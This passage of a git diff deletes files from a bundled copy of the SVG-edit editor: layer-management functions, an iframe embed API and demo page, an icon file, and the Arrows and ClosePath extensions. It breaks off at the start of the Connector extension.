-// Function: svgedit.draw.Drawing.getNumLayers
-// Returns the number of layers in the current drawing.
-// 
-// Returns:
-// The number of layers in the current drawing.
-svgedit.draw.Drawing.prototype.getNumLayers = function() {
-	return this.all_layers.length;
-};
-
-// Function: svgedit.draw.Drawing.hasLayer
-// Check if layer with given name already exists
-svgedit.draw.Drawing.prototype.hasLayer = function(name) {
-	for(var i = 0; i < this.getNumLayers(); i++) {
-		if(this.all_layers[i][0] == name) return true;
-	}
-	return false;
-};
-
-
-// Function: svgedit.draw.Drawing.getLayerName
-// Returns the name of the ith layer. If the index is out of range, an empty string is returned.
-//
-// Parameters:
-// i - the zero-based index of the layer you are querying.
-// 
-// Returns:
-// The name of the ith layer
-svgedit.draw.Drawing.prototype.getLayerName = function(i) {
-	if (i >= 0 && i < this.getNumLayers()) {
-		return this.all_layers[i][0];
-	}
-	return "";
-};
-
-// Function: svgedit.draw.Drawing.getCurrentLayer
-// Returns:
-// The SVGGElement representing the current layer.
-svgedit.draw.Drawing.prototype.getCurrentLayer = function() {
-	return this.current_layer;
-};
-
-// Function: getCurrentLayerName
-// Returns the name of the currently selected layer. If an error occurs, an empty string 
-// is returned.
-//
-// Returns:
-// The name of the currently active layer.
-svgedit.draw.Drawing.prototype.getCurrentLayerName = function() {
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (this.all_layers[i][1] == this.current_layer) {
-			return this.getLayerName(i);
-		}
-	}
-	return "";
-};
-
-// Function: setCurrentLayer
-// Sets the current layer. If the name is not a valid layer name, then this function returns
-// false. Otherwise it returns true. This is not an undo-able action.
-//
-// Parameters:
-// name - the name of the layer you want to switch to.
-//
-// Returns:
-// true if the current layer was switched, otherwise false
-svgedit.draw.Drawing.prototype.setCurrentLayer = function(name) {
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (name == this.getLayerName(i)) {
-			if (this.current_layer != this.all_layers[i][1]) {
-				this.current_layer.setAttribute("style", "pointer-events:none");
-				this.current_layer = this.all_layers[i][1];
-				this.current_layer.setAttribute("style", "pointer-events:all");
-			}
-			return true;
-		}
-	}
-	return false;
-};
-
-
-// Function: svgedit.draw.Drawing.deleteCurrentLayer
-// Deletes the current layer from the drawing and then clears the selection. This function 
-// then calls the 'changed' handler.  This is an undoable action.
-// Returns:
-// The SVGGElement of the layer removed or null.
-svgedit.draw.Drawing.prototype.deleteCurrentLayer = function() {
-	if (this.current_layer && this.getNumLayers() > 1) {
-		// actually delete from the DOM and return it
-		var parent = this.current_layer.parentNode;
-		var nextSibling = this.current_layer.nextSibling;
-		var oldLayerGroup = parent.removeChild(this.current_layer);
-		this.identifyLayers();
-		return oldLayerGroup;
-	}
-	return null;
-};
-
-// Function: svgedit.draw.Drawing.identifyLayers
-// Updates layer system and sets the current layer to the
-// top-most layer (last <g> child of this drawing).
-svgedit.draw.Drawing.prototype.identifyLayers = function() {
-	this.all_layers = [];
-	var numchildren = this.svgElem_.childNodes.length;
-	// loop through all children of SVG element
-	var orphans = [], layernames = [];
-	var a_layer = null;
-	var childgroups = false;
-	for (var i = 0; i < numchildren; ++i) {
-		var child = this.svgElem_.childNodes.item(i);
-		// for each g, find its layer name
-		if (child && child.nodeType == 1) {
-			if (child.tagName == "g") {
-				childgroups = true;
-				var name = $("title",child).text();
-				
-				// Hack for Opera 10.60
-				if(!name && svgedit.browser.isOpera() && child.querySelectorAll) {
-					name = $(child.querySelectorAll('title')).text();
-				}
-
-				// store layer and name in global variable
-				if (name) {
-					layernames.push(name);
-					this.all_layers.push( [name,child] );
-					a_layer = child;
-					svgedit.utilities.walkTree(child, function(e){e.setAttribute("style", "pointer-events:inherit");});
-					a_layer.setAttribute("style", "pointer-events:none");
-				}
-				// if group did not have a name, it is an orphan
-				else {
-					orphans.push(child);
-				}
-			}
-			// if child has is "visible" (i.e. not a <title> or <defs> element), then it is an orphan
-			else if(~visElems_arr.indexOf(child.nodeName)) {
-				var bb = svgedit.utilities.getBBox(child);
-				orphans.push(child);
-			}
-		}
-	}
-	
-	// create a new layer and add all the orphans to it
-	var svgdoc = this.svgElem_.ownerDocument;
-	if (orphans.length > 0 || !childgroups) {
-		var i = 1;
-		// TODO(codedread): What about internationalization of "Layer"?
-		while (layernames.indexOf(("Layer " + i)) >= 0) { i++; }
-		var newname = "Layer " + i;
-		a_layer = svgdoc.createElementNS(svg_ns, "g");
-		var layer_title = svgdoc.createElementNS(svg_ns, "title");
-		layer_title.textContent = newname;
-		a_layer.appendChild(layer_title);
-		for (var j = 0; j < orphans.length; ++j) {
-			a_layer.appendChild(orphans[j]);
-		}
-		this.svgElem_.appendChild(a_layer);
-		this.all_layers.push( [newname, a_layer] );
-	}
-	svgedit.utilities.walkTree(a_layer, function(e){e.setAttribute("style","pointer-events:inherit");});
-	this.current_layer = a_layer;
-	this.current_layer.setAttribute("style","pointer-events:all");
-};
-
-// Function: svgedit.draw.Drawing.createLayer
-// Creates a new top-level layer in the drawing with the given name and 
-// sets the current layer to it.
-//
-// Parameters:
-// name - The given name
-//
-// Returns:
-// The SVGGElement of the new layer, which is also the current layer
-// of this drawing.
-svgedit.draw.Drawing.prototype.createLayer = function(name) {
-	var svgdoc = this.svgElem_.ownerDocument;
-	var new_layer = svgdoc.createElementNS(svg_ns, "g");
-	var layer_title = svgdoc.createElementNS(svg_ns, "title");
-	layer_title.textContent = name;
-	new_layer.appendChild(layer_title);
-	this.svgElem_.appendChild(new_layer);
-	this.identifyLayers();
-	return new_layer;
-};
-
-// Function: svgedit.draw.Drawing.getLayerVisibility
-// Returns whether the layer is visible.  If the layer name is not valid, then this function
-// returns false.
-//
-// Parameters:
-// layername - the name of the layer which you want to query.
-//
-// Returns:
-// The visibility state of the layer, or false if the layer name was invalid.
-svgedit.draw.Drawing.prototype.getLayerVisibility = function(layername) {
-	// find the layer
-	var layer = null;
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (this.getLayerName(i) == layername) {
-			layer = this.all_layers[i][1];
-			break;
-		}
-	}
-	if (!layer) return false;
-	return (layer.getAttribute('display') != 'none');
-};
-
-// Function: svgedit.draw.Drawing.setLayerVisibility
-// Sets the visibility of the layer. If the layer name is not valid, this function return 
-// false, otherwise it returns true. This is an undo-able action.
-//
-// Parameters:
-// layername - the name of the layer to change the visibility
-// bVisible - true/false, whether the layer should be visible
-//
-// Returns:
-// The SVGGElement representing the layer if the layername was valid, otherwise null.
-svgedit.draw.Drawing.prototype.setLayerVisibility = function(layername, bVisible) {
-	if (typeof bVisible != typeof true) {
-		return null;
-	}
-	// find the layer
-	var layer = null;
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (this.getLayerName(i) == layername) {
-			layer = this.all_layers[i][1];
-			break;
-		}
-	}
-	if (!layer) return null;
-	
-	var oldDisplay = layer.getAttribute("display");
-	if (!oldDisplay) oldDisplay = "inline";
-	layer.setAttribute("display", bVisible ? "inline" : "none");
-	return layer;
-};
-
-
-// Function: svgedit.draw.Drawing.getLayerOpacity
-// Returns the opacity of the given layer.  If the input name is not a layer, null is returned.
-//
-// Parameters: 
-// layername - name of the layer on which to get the opacity
-//
-// Returns:
-// The opacity value of the given layer.  This will be a value between 0.0 and 1.0, or null
-// if layername is not a valid layer
-svgedit.draw.Drawing.prototype.getLayerOpacity = function(layername) {
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (this.getLayerName(i) == layername) {
-			var g = this.all_layers[i][1];
-			var opacity = g.getAttribute('opacity');
-			if (!opacity) {
-				opacity = '1.0';
-			}
-			return parseFloat(opacity);
-		}
-	}
-	return null;
-};
-
-// Function: svgedit.draw.Drawing.setLayerOpacity
-// Sets the opacity of the given layer.  If the input name is not a layer, nothing happens.
-// If opacity is not a value between 0.0 and 1.0, then nothing happens.
-//
-// Parameters:
-// layername - name of the layer on which to set the opacity
-// opacity - a float value in the range 0.0-1.0
-svgedit.draw.Drawing.prototype.setLayerOpacity = function(layername, opacity) {
-	if (typeof opacity != typeof 1.0 || opacity < 0.0 || opacity > 1.0) {
-		return;
-	}
-	for (var i = 0; i < this.getNumLayers(); ++i) {
-		if (this.getLayerName(i) == layername) {
-			var g = this.all_layers[i][1];
-			g.setAttribute("opacity", opacity);
-			break;
-		}
-	}
-};
-
-})();
diff --git a/public/svg-edit/editor/embedapi.html b/public/svg-edit/editor/embedapi.html
deleted file mode 100644
index 3db03640..00000000
--- a/public/svg-edit/editor/embedapi.html
+++ /dev/null
@@ -1,56 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" >
-<head>
-    <title></title>
-</head>
-<body>
-
-    <script type="text/javascript" src="embedapi.js"></script>
-    <script type="text/javascript">
-        var svgCanvas = null;
-
-        function init_embed() {
-            var frame = document.getElementById('svgedit');
-			svgCanvas = new embedded_svg_edit(frame);
-			
-			// Hide main button, as we will be controlling new/load/save etc from the host document
-			var doc;
-			doc = frame.contentDocument;
-			if (!doc)
-			{
-				doc = frame.contentWindow.document;
-			}
-			
-			var mainButton = doc.getElementById('main_button');
-			mainButton.style.display = 'none';            
-        }
-        
-        function handleSvgData(data, error) {
-			if (error)
-			{
-				alert('error ' + error);
-			}
-            else
-			{
-				alert('Congratulations. Your SVG string is back in the host page, do with it what you will\n\n' + data);
-			}			
-        }
-        
-        function loadSvg() {
-            var svgexample = '<svg width="640" height="480" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><g><title>Layer 1</title><rect stroke-width="5" stroke="#000000" fill="#FF0000" id="svg_1" height="35" width="51" y="35" x="32"/><ellipse ry="15" rx="24" stroke-width="5" stroke="#000000" fill="#0000ff" id="svg_2" cy="60" cx="66"/></g></svg>';
-            svgCanvas.setSvgString(svgexample);
-        }
-		
-		function saveSvg() {			
-			svgCanvas.getSvgString()(handleSvgData);
-		}
-    </script>
-
-
-    <button onclick="loadSvg();">Load example</button>
-    <button onclick="saveSvg();">Save data</button>
-    <br/>
-
-    <iframe src="svg-editor.html" width="900px" height="600px" id="svgedit" onload="init_embed()"></iframe>    
-</body>
-</html>
diff --git a/public/svg-edit/editor/embedapi.js b/public/svg-edit/editor/embedapi.js
deleted file mode 100644
index 8debfd6d..00000000
--- a/public/svg-edit/editor/embedapi.js
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
-function embedded_svg_edit(frame){
-  //initialize communication
-  this.frame = frame;
-  this.stack = []; //callback stack
-  
-  var editapi = this;
-  
-  window.addEventListener("message", function(e){
-    if(e.data.substr(0,5) == "ERROR"){
-      editapi.stack.splice(0,1)[0](e.data,"error")
-    }else{
-      editapi.stack.splice(0,1)[0](e.data)
-    }
-  }, false)
-}
-
-embedded_svg_edit.prototype.call = function(code, callback){
-  this.stack.push(callback);
-  this.frame.contentWindow.postMessage(code,"*");
-}
-
-embedded_svg_edit.prototype.getSvgString = function(callback){
-  this.call("svgCanvas.getSvgString()",callback)
-}
-
-embedded_svg_edit.prototype.setSvgString = function(svg){
-  this.call("svgCanvas.setSvgString('"+svg.replace(/'/g, "\\'")+"')");
-}
-*/
-
-
-/*
-Embedded SVG-edit API
-
-General usage:
-- Have an iframe somewhere pointing to a version of svg-edit > r1000
-- Initialize the magic with:
-var svgCanvas = new embedded_svg_edit(window.frames['svgedit']);
-- Pass functions in this format:
-svgCanvas.setSvgString("string")
-- Or if a callback is needed:
-svgCanvas.setSvgString("string")(function(data, error){
-  if(error){
-    //there was an error
-  }else{
-    //handle data
-  }
-})
-
-Everything is done with the same API as the real svg-edit, 
-and all documentation is unchanged. The only difference is
-when handling returns, the callback notation is used instead. 
-
-var blah = new embedded_svg_edit(window.frames['svgedit']);
-blah.clearSelection("woot","blah",1337,[1,2,3,4,5,"moo"],-42,{a: "tree",b:6, c: 9})(function(){console.log("GET DATA",arguments)})
-*/
-
-function embedded_svg_edit(frame){
-  //initialize communication
-  this.frame = frame;
-  //this.stack = [] //callback stack
-  this.callbacks = {}; //successor to stack
-  this.encode = embedded_svg_edit.encode;
-  //List of functions extracted with this:
-  //Run in firebug on http://svg-edit.googlecode.com/svn/trunk/docs/files/svgcanvas-js.html
-  
-  //for(var i=0,q=[],f = document.querySelectorAll("div.CFunction h3.CTitle a");i<f.length;i++){q.push(f[i].name)};q
-  //var functions = ["clearSelection", "addToSelection", "removeFromSelection", "open", "save", "getSvgString", "setSvgString",
-  //"createLayer", "deleteCurrentLayer", "setCurrentLayer", "renameCurrentLayer", "setCurrentLayerPosition", "setLayerVisibility",
-  //"moveSelectedToLayer", "clear"];
-  
-  
-  //Newer, well, it extracts things that aren't documented as well. All functions accessible through the normal thingy can now be accessed though the API
-  //var l=[];for(var i in svgCanvas){if(typeof svgCanvas[i] == "function"){l.push(i)}};
-  //run in svgedit itself
-  var functions = ["updateElementFromJson", "embedImage", "fixOperaXML", "clearSelection", "addToSelection",
-		"removeFromSelection", "addNodeToSelection", "open", "save", "getSvgString", "setSvgString", "createLayer",
-		"deleteCurrentLayer", "getCurrentDrawing", "setCurrentLayer", "renameCurrentLayer", "setCurrentLayerPosition",
-		"setLayerVisibility", "moveSelectedToLayer", "clear", "clearPath", "getNodePoint", "clonePathNode", "deletePathNode",
-		"getResolution", "getImageTitle", "setImageTitle", "setResolution", "setBBoxZoom", "setZoom", "getMode", "setMode",
-		"getStrokeColor", "setStrokeColor", "getFillColor", "setFillColor", "setStrokePaint", "setFillPaint", "getStrokeWidth",
-		"setStrokeWidth", "getStrokeStyle", "setStrokeStyle", "getOpacity", "setOpacity", "getFillOpacity", "setFillOpacity",
-		"getStrokeOpacity", "setStrokeOpacity", "getTransformList", "getBBox", "getRotationAngle", "setRotationAngle", "each",
-		"bind", "setIdPrefix", "getBold", "setBold", "getItalic", "setItalic", "getFontFamily", "setFontFamily", "getFontSize",
-		"setFontSize", "getText", "setTextContent", "setImageURL", "setRectRadius", "setSegType", "quickClone",
-		"changeSelectedAttributeNoUndo", "changeSelectedAttribute", "deleteSelectedElements", "groupSelectedElements",
-		"ungroupSelectedElement", "moveToTopSelectedElement", "moveToBottomSelectedElement", "moveSelectedElements",
-		"getStrokedBBox", "getVisibleElements", "cycleElement", "getUndoStackSize", "getRedoStackSize", "getNextUndoCommandText",
-		"getNextRedoCommandText", "undo", "redo", "cloneSelectedElements", "alignSelectedElements", "getZoom", "getVersion",
-		"setIconSize", "setLang", "setCustomHandlers"];
-  
-  //TODO: rewrite the following, it's pretty scary.
-  for(var i = 0; i < functions.length; i++){
-    this[functions[i]] = (function(d){
-      return function(){
-        var t = this //new callback
-        for(var g = 0, args = []; g < arguments.length; g++){
-          args.push(arguments[g]);
-        }
-        var cbid = t.send(d,args, function(){})  //the callback (currently it's nothing, but will be set later
-        
-        return function(newcallback){
-          t.callbacks[cbid] = newcallback; //set callback
-        }
-      }
-    })(functions[i])
-  }
-  //TODO: use AddEvent for Trident browsers, currently they dont support SVG, but they do support onmessage
-  var t = this;
-  window.addEventListener("message", function(e){
-    if(e.data.substr(0,4)=="SVGe"){ //because svg-edit is too longish
-      var data = e.data.substr(4);
-      var cbid = data.substr(0, data.indexOf(";"));
-      if(t.callbacks[cbid]){
-        if(data.substr(0,6) != "error:"){
-          t.callbacks[cbid](eval("("+data.substr(cbid.length+1)+")"))
-        }else{
-          t.callbacks[cbid](data, "error");
-        }
-      }
-    }
-    //this.stack.shift()[0](e.data,e.data.substr(0,5) == "ERROR"?'error':null) //replace with shift
-  }, false)
-}
-
-embedded_svg_edit.encode = function(obj){
-  //simple partial JSON encoder implementation
-  if(window.JSON && JSON.stringify) return JSON.stringify(obj);
-  var enc = arguments.callee; //for purposes of recursion
-  
-  if(typeof obj == "boolean" || typeof obj == "number"){
-      return obj+'' //should work...
-  }else if(typeof obj == "string"){
-    //a large portion of this is stolen from Douglas Crockford's json2.js
-    return '"'+
-          obj.replace(
-            /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g
-          , function (a) {
-            return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
-          })
-          +'"'; //note that this isn't quite as purtyful as the usualness
-  }else if(obj.length){ //simple hackish test for arrayish-ness
-    for(var i = 0; i < obj.length; i++){
-      obj[i] = enc(obj[i]); //encode every sub-thingy on top
-    }
-    return "["+obj.join(",")+"]";
-  }else{
-    var pairs = []; //pairs will be stored here
-    for(var k in obj){ //loop through thingys
-      pairs.push(enc(k)+":"+enc(obj[k])); //key: value
-    }
-    return "{"+pairs.join(",")+"}" //wrap in the braces
-  }
-}
-
-embedded_svg_edit.prototype.send = function(name, args, callback){
-  var cbid = Math.floor(Math.random()*31776352877+993577).toString();
-  //this.stack.push(callback);
-  this.callbacks[cbid] = callback;
-  for(var argstr = [], i = 0; i < args.length; i++){
-    argstr.push(this.encode(args[i]))
-  }
-  var t = this;
-  setTimeout(function(){//delay for the callback to be set in case its synchronous
-    t.frame.contentWindow.postMessage(cbid+";svgCanvas['"+name+"']("+argstr.join(",")+")","*");
-  }, 0);
-  return cbid;
-  //this.stack.shift()("svgCanvas['"+name+"']("+argstr.join(",")+")")
-}
-
-
-
diff --git a/public/svg-edit/editor/extensions/closepath_icons.svg b/public/svg-edit/editor/extensions/closepath_icons.svg
deleted file mode 100644
index 7294f5ea..00000000
--- a/public/svg-edit/editor/extensions/closepath_icons.svg
+++ /dev/null
@@ -1,41 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg">
-<g id="tool_closepath">
-<svg viewBox="0 0 300 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
- <g>
-  <title>Layer 1</title>
-  <path stroke="#000" stroke-width="15" fill="#ffc8c8" d="m121.5,40l-84,106l27,115l166,2l29,-111"/>
-  <line x1="240" y1="136" x2="169.5" y2="74" stroke="#A00" stroke-width="25" fill="none"/>
-  <path stroke="none" fill ="#A00" d="m158,65l31,74l-3,-50l51,-3z"/>
-  <g stroke-width="15" stroke="#00f" fill="#0ff">
-  <circle r="30" cy="41" cx="123"/>
-  <circle r="30" cy="146" cx="40"/>
-  <circle r="30" cy="260" cx="69"/>
-  <circle r="30" cy="260" cx="228"/>
-  <circle r="30" cy="148" cx="260"/>
-  </g>
- </g>
-</svg>
-</g>
-<g id="tool_openpath">
-<svg viewBox="0 0 300 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
- <g>
-  <title>Layer 1</title>
-  <path stroke="#000" stroke-width="15" fill="#ffc8c8" d="m123.5,38l-84,106l27,115l166,2l29,-111"/>
-  <line x1="276.5" y1="153" x2="108.5" y2="24" stroke="#000" stroke-width="10" fill="none"/>
-  <g stroke-width="15" stroke="#00f" fill="#0ff">
-   <circle r="30" cy="41" cx="123"/>
-   <circle r="30" cy="146" cx="40"/>
-   <circle r="30" cy="260" cx="69"/>
-   <circle r="30" cy="260" cx="228"/>
-   <circle r="30" cy="148" cx="260"/>
-  </g>
-  <g  stroke="#A00" stroke-width="15" fill="none">
-   <line x1="168" y1="24" x2="210" y2="150"/>
-   <line x1="210" y1="24" x2="168" y2="150"/>
-  </g>
- </g>
-</svg>
-</g>
-
-<g id="svg_eof"/>
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/editor/extensions/ext-arrows.js b/public/svg-edit/editor/extensions/ext-arrows.js
deleted file mode 100644
index 4bb5cd25..00000000
--- a/public/svg-edit/editor/extensions/ext-arrows.js
+++ /dev/null
@@ -1,298 +0,0 @@
-/*
- * ext-arrows.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
- 
-svgEditor.addExtension("Arrows", function(S) {
-		var svgcontent = S.svgcontent,
-			addElem = S.addSvgElementFromJson,
-			nonce = S.nonce,
-			randomize_ids = S.randomize_ids,
-			selElems;
-
-		svgCanvas.bind('setnonce', setArrowNonce);
-		svgCanvas.bind('unsetnonce', unsetArrowNonce);
-			
-		var lang_list = {
-			"en":[
-				{"id": "arrow_none", "textContent": "No arrow" }
-			],
-			"fr":[
-				{"id": "arrow_none", "textContent": "Sans flèche" }
-			]
-		};
-		
-		var prefix = 'se_arrow_';
-		if (randomize_ids) {
-		  var arrowprefix = prefix + nonce + '_';
-		} else {
-		  var arrowprefix = prefix;
-		}
-
-		var pathdata = {
-			fw: {d:"m0,0l10,5l-10,5l5,-5l-5,-5z", refx:8,  id: arrowprefix + 'fw'},
-			bk: {d:"m10,0l-10,5l10,5l-5,-5l5,-5z", refx:2, id: arrowprefix + 'bk'}
-		}
-		
-		function setArrowNonce(window, n) {
-		    randomize_ids = true;
-		    arrowprefix = prefix + n + '_';
- 			pathdata.fw.id = arrowprefix + 'fw';
-			pathdata.bk.id = arrowprefix + 'bk';
-		}
-
-		function unsetArrowNonce(window) {
-		    randomize_ids = false;
-		    arrowprefix = prefix;
- 			pathdata.fw.id = arrowprefix + 'fw';
-			pathdata.bk.id = arrowprefix + 'bk';
-		}
-
-		function getLinked(elem, attr) {
-			var str = elem.getAttribute(attr);
-			if(!str) return null;
-			var m = str.match(/\(\#(.*)\)/);
-			if(!m || m.length !== 2) {
-				return null;
-			}
-			return S.getElem(m[1]);
-		}
-		
-		function showPanel(on) {
-			$('#arrow_panel').toggle(on);
-			
-			if(on) {
-				var el = selElems[0];
-				var end = el.getAttribute("marker-end");
-				var start = el.getAttribute("marker-start");
-				var mid = el.getAttribute("marker-mid");
-				var val;
-				
-				if(end && start) {
-					val = "both";
-				} else if(end) {
-					val = "end";
-				} else if(start) {
-					val = "start";
-				} else if(mid) {
-					val = "mid";
-					if(mid.indexOf("bk") != -1) {
-						val = "mid_bk";
-					}
-				}
-				
-				if(!start && !mid && !end) {
-					val = "none";
-				}
-				
-				$("#arrow_list").val(val);
-			}
-		}
-		
-		function resetMarker() {
-			var el = selElems[0];
-			el.removeAttribute("marker-start");
-			el.removeAttribute("marker-mid");
-			el.removeAttribute("marker-end");
-		}
-		
-		function addMarker(dir, type, id) {
-			// TODO: Make marker (or use?) per arrow type, since refX can be different
-			id = id || arrowprefix + dir;
-			
-			var marker = S.getElem(id);
-
-			var data = pathdata[dir];
-			
-			if(type == "mid") {
-				data.refx = 5;
-			}
-
-			if(!marker) {
-				marker = addElem({
-					"element": "marker",
-					"attr": {
-						"viewBox": "0 0 10 10",
-						"id": id,
-						"refY": 5,
-						"markerUnits": "strokeWidth",
-						"markerWidth": 5,
-						"markerHeight": 5,
-						"orient": "auto",
-						"style": "pointer-events:none" // Currently needed for Opera
-					}
-				});
-				var arrow = addElem({
-					"element": "path",
-					"attr": {
-						"d": data.d,
-						"fill": "#000000"
-					}
-				});
-				marker.appendChild(arrow);
-				S.findDefs().appendChild(marker);
-			} 
-			
-			marker.setAttribute('refX', data.refx);
-			
-			return marker;
-		}
-		
-		function setArrow() {
-			var type = this.value;
-			resetMarker();
-		
-			if(type == "none") {
-				return;
-			}
-		
-			// Set marker on element
-			var dir = "fw";
-			if(type == "mid_bk") {
-				type = "mid";
-				dir = "bk";
-			} else if(type == "both") {
-				addMarker("bk", type);
-				svgCanvas.changeSelectedAttribute("marker-start", "url(#" + pathdata.bk.id + ")");
-				type = "end";
-				dir = "fw";
-			} else if (type == "start") {
-				dir = "bk";
-			}
-			
-			addMarker(dir, type);
-			svgCanvas.changeSelectedAttribute("marker-"+type, "url(#" + pathdata[dir].id + ")");
-			S.call("changed", selElems);
-		}
-		
-		function colorChanged(elem) {
-			var color = elem.getAttribute('stroke');
-			
-			var mtypes = ['start','mid','end'];
-			var defs = S.findDefs();
-			
-			$.each(mtypes, function(i, type) {
-				var marker = getLinked(elem, 'marker-'+type);
-				if(!marker) return;
-				
-				var cur_color = $(marker).children().attr('fill');
-				var cur_d = $(marker).children().attr('d');
-				var new_marker = null;
-				if(cur_color === color) return;
-				
-				var all_markers = $(defs).find('marker');
-				// Different color, check if already made
-				all_markers.each(function() {
-					var attrs = $(this).children().attr(['fill', 'd']);
-					if(attrs.fill === color && attrs.d === cur_d) {
-						// Found another marker with this color and this path
-						new_marker = this;
-					}
-				});
-				
-				if(!new_marker) {
-					// Create a new marker with this color
-					var last_id = marker.id;
-					var dir = last_id.indexOf('_fw') !== -1?'fw':'bk';
-					
-					new_marker = addMarker(dir, type, arrowprefix + dir + all_markers.length);
-
-					$(new_marker).children().attr('fill', color);
-				}
-				
-				$(elem).attr('marker-'+type, "url(#" + new_marker.id + ")");
-				
-				// Check if last marker can be removed
-				var remove = true;
-				$(S.svgcontent).find('line, polyline, path, polygon').each(function() {
-					var elem = this;
-					$.each(mtypes, function(j, mtype) {
-						if($(elem).attr('marker-' + mtype) === "url(#" + marker.id + ")") {
-							return remove = false;
-						}
-					});
-					if(!remove) return false;
-				});
-				
-				// Not found, so can safely remove
-				if(remove) {
-					$(marker).remove();
-				}
-
-			});
-			
-		}
-		
-		return {
-			name: "Arrows",
-			context_tools: [{
-				type: "select",
-				panel: "arrow_panel",
-				title: "Select arrow type",
-				id: "arrow_list",
-				options: {
-					none: "No arrow",
-					end: "----&gt;",
-					start: "&lt;----",
-					both: "&lt;---&gt;",
-					mid: "--&gt;--",
-					mid_bk: "--&lt;--"
-				},
-				defval: "none",
-				events: {
-					change: setArrow
-				}
-			}],
-			callback: function() {
-				$('#arrow_panel').hide();
-				// Set ID so it can be translated in locale file
-				$('#arrow_list option')[0].id = 'connector_no_arrow';
-			},
-			addLangData: function(lang) {
-				return {
-					data: lang_list[lang]
-				};
-			},
-			selectedChanged: function(opts) {
-				
-				// Use this to update the current selected elements
-				selElems = opts.elems;
-				
-				var i = selElems.length;
-				var marker_elems = ['line','path','polyline','polygon'];
-				
-				while(i--) {
-					var elem = selElems[i];
-					if(elem && $.inArray(elem.tagName, marker_elems) != -1) {
-						if(opts.selectedElement && !opts.multiselected) {
-							showPanel(true);
-						} else {
-							showPanel(false);
-						}
-					} else {
-						showPanel(false);
-					}
-				}
-			},
-			elementChanged: function(opts) {
-				var elem = opts.elems[0];
-				if(elem && (
-					elem.getAttribute("marker-start") ||
-					elem.getAttribute("marker-mid") ||
-					elem.getAttribute("marker-end")
-				)) {
-	// 								var start = elem.getAttribute("marker-start");
-	// 								var mid = elem.getAttribute("marker-mid");
-	// 								var end = elem.getAttribute("marker-end");
-					// Has marker, so see if it should match color
-					colorChanged(elem);
-				}
-				
-			}
-		};
-});
diff --git a/public/svg-edit/editor/extensions/ext-closepath.js b/public/svg-edit/editor/extensions/ext-closepath.js
deleted file mode 100644
index bf8e72c9..00000000
--- a/public/svg-edit/editor/extensions/ext-closepath.js
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * ext-closepath.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jeff Schiller
- *
- */
-
-// This extension adds a simple button to the contextual panel for paths
-// The button toggles whether the path is open or closed
-svgEditor.addExtension("ClosePath", function(S) {
-		var selElems,
-			updateButton = function(path) {
-				var seglist = path.pathSegList,
-					closed = seglist.getItem(seglist.numberOfItems - 1).pathSegType==1,
-					showbutton = closed ? '#tool_openpath' : '#tool_closepath',
-					hidebutton = closed ? '#tool_closepath' : '#tool_openpath';
-					$(hidebutton).hide();
-					$(showbutton).show();
-			},
-			showPanel = function(on) {
-				$('#closepath_panel').toggle(on);
-				if (on) {
-					var path = selElems[0];
-					if (path) updateButton(path);
-				}
-			},
-		
-			toggleClosed = function() {
-				var path = selElems[0];
-				if (path) {
-					var seglist = path.pathSegList,
-						last = seglist.numberOfItems - 1;					
-					// is closed
-					if(seglist.getItem(last).pathSegType == 1) {
-						seglist.removeItem(last);
-					}
-					else {
-						seglist.appendItem(path.createSVGPathSegClosePath());
-					}
-					updateButton(path);
-				}
-			};
-		
-		return {
-			name: "ClosePath",
-			svgicons: "extensions/closepath_icons.svg",
-			buttons: [{
-				id: "tool_openpath",
-				type: "context",
-				panel: "closepath_panel",
-				title: "Open path",
-				events: {
-					'click': function() {
-						toggleClosed();
-					}
-				}
-			},
-			{
-				id: "tool_closepath",
-				type: "context",
-				panel: "closepath_panel",
-				title: "Close path",
-				events: {
-					'click': function() {
-						toggleClosed();
-					}
-				}
-			}],
-			callback: function() {
-				$('#closepath_panel').hide();
-			},
-			selectedChanged: function(opts) {
-				selElems = opts.elems;
-				var i = selElems.length;
-				
-				while(i--) {
-					var elem = selElems[i];
-					if(elem && elem.tagName == 'path') {
-						if(opts.selectedElement && !opts.multiselected) {
-							showPanel(true);
-						} else {
-							showPanel(false);
-						}
-					} else {
-						showPanel(false);
-					}
-				}
-			}
-		};
-});
diff --git a/public/svg-edit/editor/extensions/ext-connector.js b/public/svg-edit/editor/extensions/ext-connector.js
deleted file mode 100644
index 3498c7f4..00000000
--- a/public/svg-edit/editor/extensions/ext-connector.js
+++ /dev/null
@@ -1,587 +0,0 @@
-/*
- * ext-connector.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- *
- */
- 
-svgEditor.addExtension("Connector", function(S) {
-	var svgcontent = S.svgcontent,
-		svgroot = S.svgroot,
-		getNextId = S.getNextId,
-		getElem = S.getElem,
-		addElem = S.addSvgElementFromJson,
-		selManager = S.selectorManager,
-		curConfig = svgEditor.curConfig,
-		started = false,
-		start_x,
-		start_y,
-		cur_line,
-		start_elem,
-		end_elem,
-		connections = [],
-		conn_sel = ".se_connector",
-		se_ns,
-// 			connect_str = "-SE_CONNECT-",
-		selElems = [];
-		
-	elData = $.data;
-		
-	var lang_list = {
-		"en":[
-			{"id": "mode_connect", "title": "Connect two objects" }
-		],
-		"fr":[
